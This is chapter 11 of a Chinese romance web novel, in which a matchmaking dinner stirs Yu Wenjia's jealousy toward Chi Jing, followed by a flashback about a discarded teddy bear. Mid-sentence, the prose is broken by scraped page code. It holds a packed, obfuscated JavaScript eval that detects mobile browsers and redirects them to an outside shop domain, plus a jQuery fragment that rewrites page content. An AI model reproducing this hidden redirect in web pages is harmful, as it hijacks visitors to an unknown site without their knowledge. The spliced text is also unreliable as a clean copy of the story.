11
余老爷子招呼大家入座,池姥姥凑到池镜耳边小声说:“今天来的那姑娘是嘉嘉他表姐。”
池镜看了看他姥姥,顿时明白了今天这顿饭醉翁之意不在酒。
“跟你年纪一般大,是个律师。”姥姥说,“一会儿吃完饭你——”
“您吃菜。”池镜给他姥姥夹了筷菜。
“你又打岔。”
“不打岔我这饭没法儿吃了。”
姥姥自知心急了,拍拍他的胳膊说:“不说了不说了,你好好吃。”
池镜给她倒了杯白开水:“您最近血糖又升了吧,妈说您前两天又偷喝花生露。”
“就喝了一点儿。”姥姥用拇指和食指比了个圈,还挺坦诚,“一小盅,我拿烧酒杯喝的,算好量的。”
池镜失笑:“您还好意思说。一口也不成,您自个儿血糖多高不知道啊。”
入座后,余老爷子挨个介绍了一下今天来的亲朋好友。介绍到池镜的时候,特意看向余闻嘉表姐,意思不言而喻。老爷子其实挺有分寸了,饭桌上都没有把话往俩小辈身上引,就正常聚餐正常闲聊,池镜和余闻嘉的表姐基本没什么存在感。
为了让俩年轻人有接触的机会,正餐结束后,余老爷子还安排了户外烧烤。都是请人弄的,厨师也是请的,老爷子指定菜品,都是小分量的菜,给他们留着肚子吃烧烤。
室外有风,池镜他妈给老爷子披了件外套,笑道:“您可真够能折腾的。”
眼见池镜跟那姑娘还没说上一句话,池姥姥坐不住了,端了盘烤好的肉串给池镜,让他给人家小姑娘送去。
这盘肉是从池明手里拿的,池明试图援救他哥:“我的姥啊,我的亲亲好姥……那我刚烤好的,我都饿晕了。”
“这孩子……才刚吃完饭就饿晕了,我瞧你刚才也没少吃啊。这盘给姥姥,你再烤一盘去。”
援救失败,池明耸了耸肩,给他哥使了个眼色——尽力了。
池镜知道今天不跟那位女士说上话,他姥还有的折腾,他把池明烤的那盘肉串还给他,拿了自己手边的一盘去给了对方。本来女士们就都在旁边喝茶,烤肉是他们几个男人的活,烤好了给人送去也没什么奇怪的。
“刚烤好的。”池镜把烤盘递给对方,“趁热吃。”
对方愣了一下,接过盘子说了声“谢谢”,看着他问:“你叫……池镜?”
“嗯。”池镜点了下头。
“你好。”对方伸出手,“我叫林琅。”
刚才在饭桌上余爷爷已经介绍过了,池镜知道她的名字,他跟她握了握手。
林琅看了眼手里的烤盘,挺坦诚地对池镜说:“我现在不是很饿,平时也不太吃这些,这个我先放一边OK吗?”
“没事,你自便。”
林琅把烤盘放在一边桌上,抽了张纸巾擦擦手,继续跟池镜聊天。
“之前闻嘉的升学宴,你是不是也去了?”
“是的。”
林琅笑了笑:“我说看你有点眼熟,我也去了。”
那天林琅虽然跟池镜不在一桌,但池镜当时是最后一个到场的,长了张让人印象深刻的脸,很难不让人记住。
“你跟闻嘉认识很久了?”林琅毕竟是当律师的,引导交流是她擅长的。她是个聪明人,知道把话头往哪儿引能挑起话题,彼此不熟的情况下,余闻嘉是能拉近他们之间距离的好话题。
“挺久了,小时候就认识。”
“时间过得还挺快的,感觉很久前见他还是个小孩儿呢,一晃眼都已经考上博士了。”林琅端了杯茶,喝了一口,“我们家跟他家平常走动不多,最近一次见他还是之前升学宴上,吓我一跳,没想到都长这么高了。”
池镜垂眸笑了笑:“我也没想到。”
林琅觉得自己找了个好话题,她看着池镜,还想再聊聊别的。
“你来之前是不是不知道今天这顿饭是要撮合咱俩啊?”林琅笑着问池镜,她觉得池镜很合眼缘,想着都已经聊起来了,就不整那些弯弯绕绕了。
“确实不知道。”池镜说。
“我倒是一早就知道了。听姑公说你之前一直在国外工作?”
“嗯。”
“驻外挺辛苦的吧,一直在外面,一年到头跟家里人都见不了几面。”
“习惯了就好了。”
“你去过哪些国家啊?”林琅顿了一下,“问这些不冒犯吧?”
“不会。”
池镜驻过三个国家,林琅听到南苏丹显得有些纳罕:“你去的时候那边还在打仗吧。”
“现在也打,那边的战乱冲突从来没有真正意义上的结束过。”池镜顿了下,低声道,“不止是这个国家,世界上还有很多地方都处在这种水生火热的生存环境中,太多了。”
林琅叹了口气:“确实。”
天边有一架闪着光的飞机飞过,小小的,像闪烁的星星,池镜望着那颗“星星”,淡淡道:“所以我们是幸运的,我们的国家很伟大。”
池镜说这些话的时候表情很平静,声音像夜里的风那么柔和,看着他的眼神,林琅心有触动,很轻地“嗯”了一声。
池明抻着脖子往他哥那边看了一眼,用胳膊肘撞了撞旁边的余闻嘉:“我貌似预判失误,某人好像跟人聊得还挺好?”
余闻嘉没说话,一旁池姥姥都快乐开花了。
池母望了望池镜的方向,笑得很欣慰,转头跟池姥姥说:“果然这事儿还得看缘分,看对眼了可不就聊起来了。”
池姥姥点点头:“我看那俩孩子站一块哪哪儿都般配,那姑娘长得多水灵啊,小镜没道理看不上。”
池明笑道:“我哥那么肤浅呢,看人家水灵就喜欢人家啊。说起来他以前有跟人谈过恋爱么?这倒是我盲区了,好像没见过?”
“他谈恋爱还跟你说啊。”池母笑了声,“在外头那么多年呢。”
池明啧了一声:“说的也是,说不定大学就谈了,他这人干什么都鸟悄儿的。”
余闻嘉拿起手边的矿泉水打开喝了一口,拎着瓶子去跟他爷爷打了声招呼,说他先走了。
“这刚几点,那么早走干什么?”爷爷问他。
“我回学校了,有事。”
“又回去弄你那个研究啊?”
“嗯。”
爷爷叹了口气:“成吧,你忙,不耽误你事儿。”
“那我开车送你?”他妈说。
“不用,我坐地铁。”
他妈看着他,面露忧色,摸了一下他的额头:“是不是呛风着凉了,怎么脸色这么难看。”
余闻嘉握了握他妈的手:“没。我走了,妈。”
余闻嘉径直往门口走去,离开时也没跟池镜打招呼,他从来都不是个情绪化的人,但眼下的所作所为在他自己看来已经相当情绪化了。他一步也不想往池镜那儿靠近,不想看池镜跟另一个女人站在一起,也不想听池镜跟对方说话。现在再去池镜身边,只会陷入情绪的漩涡,被负面心理操控。
池镜眼看着余闻嘉头也不回地走向门口,连声招呼都没跟他打。他结束跟林琅的对话,朝余闻嘉跟了过去。
“走也不跟我打声招呼?”
池镜的声音从后面传来,余闻嘉脚步一顿,停在原地。
脚步声渐近,余闻嘉仍然没有转身,背对着池镜说:“我走了镜哥。”
“怎么现在就走了?有急事?”
“我回学校。”
余闻嘉没有正面回答他的问题,那就是没有急事。
“没急事你这么着急走。”
“没意思。”余闻嘉说。
池镜一愣,这三个字带着很淡的情绪,如果不是很了解余闻嘉,一般是听不出来的。
余闻嘉转头看了池镜一眼:“在这儿没什么意思,我先回学校了。”
“我送你。”
余闻嘉往池姥姥和池母的方向看了一眼,说:“我坐地铁。”
“说了送你。”
“你走了姥姥她们该不高兴了。”
余闻嘉没让池镜送他,自己坐地铁回了学校。
跨不过的“弟弟”的身份自始至终都是一座无形的大山,压得余闻嘉寸步难行。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093982|148595||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>他不是没想过往前跨一步,可一旦跨过,说不定连“弟弟”的身份都不再有了——这一点,从他第一次因为池镜跟别的女生走太近而对他发脾气的时候就告诫过自己了。
那时候余闻嘉已经上大学了,跟池镜一样,就在本市上学。他们的学校在同一个区,一条地铁线上。池镜当时在他们学校附近的一家咖啡店兼职,有次余闻嘉在那里碰见了他,那之后余闻嘉经常会去那家咖啡店,没课的时候就泡在咖啡店,看书,写课业,一待就待很久。
池镜不是每天都在,一般都是周末来,有段时间有个女生经常会来店里接池镜下班,她看到余闻嘉会跟他打招呼,好像认识他一样。余闻嘉对她没印象,后来才知道她是池镜的高中同学,还跟池镜上了一个大学。
往后的日子余闻嘉便不再去那家咖啡店了,然而后来有一天,他终于还是在池镜的家里见到了那个女生。
他去池家送东西,习惯性地走进池镜的卧室,撞见那个女生在那里,弯着腰拎起了池镜床上的一个玩偶,她以为进来的是池镜,拎着玩偶转身笑道:“你还喜欢这个呢?好可爱。”
那个玩偶是余闻嘉好几年送给池镜的,一只穿着宇航服的棕色小熊,已经有些旧了,宇航服可以脱下来,池镜隔段时间就会洗一洗宇航服,洗一洗小熊,熊给他洗得都有点褪色了,深棕褪成了浅棕。
余闻嘉当时心头升起一股无名火,烦躁的情绪一下子被点燃了,没等那女生反应过来就一把夺过她手里的玩偶,他转身时正好撞见进来的池镜。
池镜看他冷着脸,一脸状况外:“怎么了?”他看了眼余闻嘉手里的玩偶,越发疑惑,抬眼看向他同学。
女同学愣在那儿也很懵,不知道什么情况。
“怎么了你?”池镜压低了声音,按着余闻嘉的后脑勺,低头看着他。那时候余闻嘉才到他肩膀,跟他说话都要微微仰着头。
“我给你的东西,别人凭什么碰?”
余闻嘉眼底有情绪,但池镜看不透。他有点愣,低头看着他手里的小熊,还没开口,余闻嘉就推开他出去了。
余闻嘉出去后就把玩偶扔进了路旁垃圾桶,回家关上房门往床上一趴,脸蒙在枕头里,心口难受到窒息。
他知道一切的缘由是因为嫉妒,他被负面情绪裹挟了,完全失控,刚才在池镜面前,他就像个可笑的小丑。
不久后,门外有人敲门,是池镜的声音。余闻嘉把门锁了,池镜在门外问:“还打算理我么?”
余闻嘉深吸一口气,起身清了清嗓子:“我睡觉了。”
“才七点你睡什么觉,开门。”
枕头上有点点泪痕,余闻嘉按了按眼睛,走到门后说:“真要睡觉了,镜哥。”
他现在是不可能让池镜进来的,不知道该怎么面对,现在这幅样子也没法儿面对他。
“她不知道那是你送我的玩偶。”池镜说。
想到被扔到垃圾桶的小熊,余闻嘉又是一阵难受,他甚至不敢问池镜跟那个女生是什么关系。
“我知道。”余闻嘉低着头。
“我以后藏里边儿点,不会再让人碰了。”
余闻嘉愣了愣,抬头看着门板。
池镜手里拿着刚从垃圾桶里捡出来的小熊,说:“你扔我也成啊,扔它干什么,我现在身上一股垃圾味儿,是不是赖你?”
余闻嘉“嗯”了声,低声道:“赖我。”
“还好那垃圾桶里面都是些纸板。”池镜拍拍小熊的鼻头。
“对不起……”余闻嘉额头抵在门上,“镜哥。”
池镜轻声问:“能不能告诉我你今天到底怎么了?”
他实在想不通余闻嘉怎么会突然发那么大脾气,这太不像他了。
“没怎么,在学校跟同学吵架了,心情不好。”余闻嘉摸了下门板,像在隔着门板抚摸池镜的脸庞,“镜哥。”
“嗯你说,我听着呢。”
余闻嘉沉默良久,说:“头有点疼,我想先睡了。”
从那一天起,余闻嘉就意识到,比起自己想要的那些,他更希望池镜能过平静正常的生活。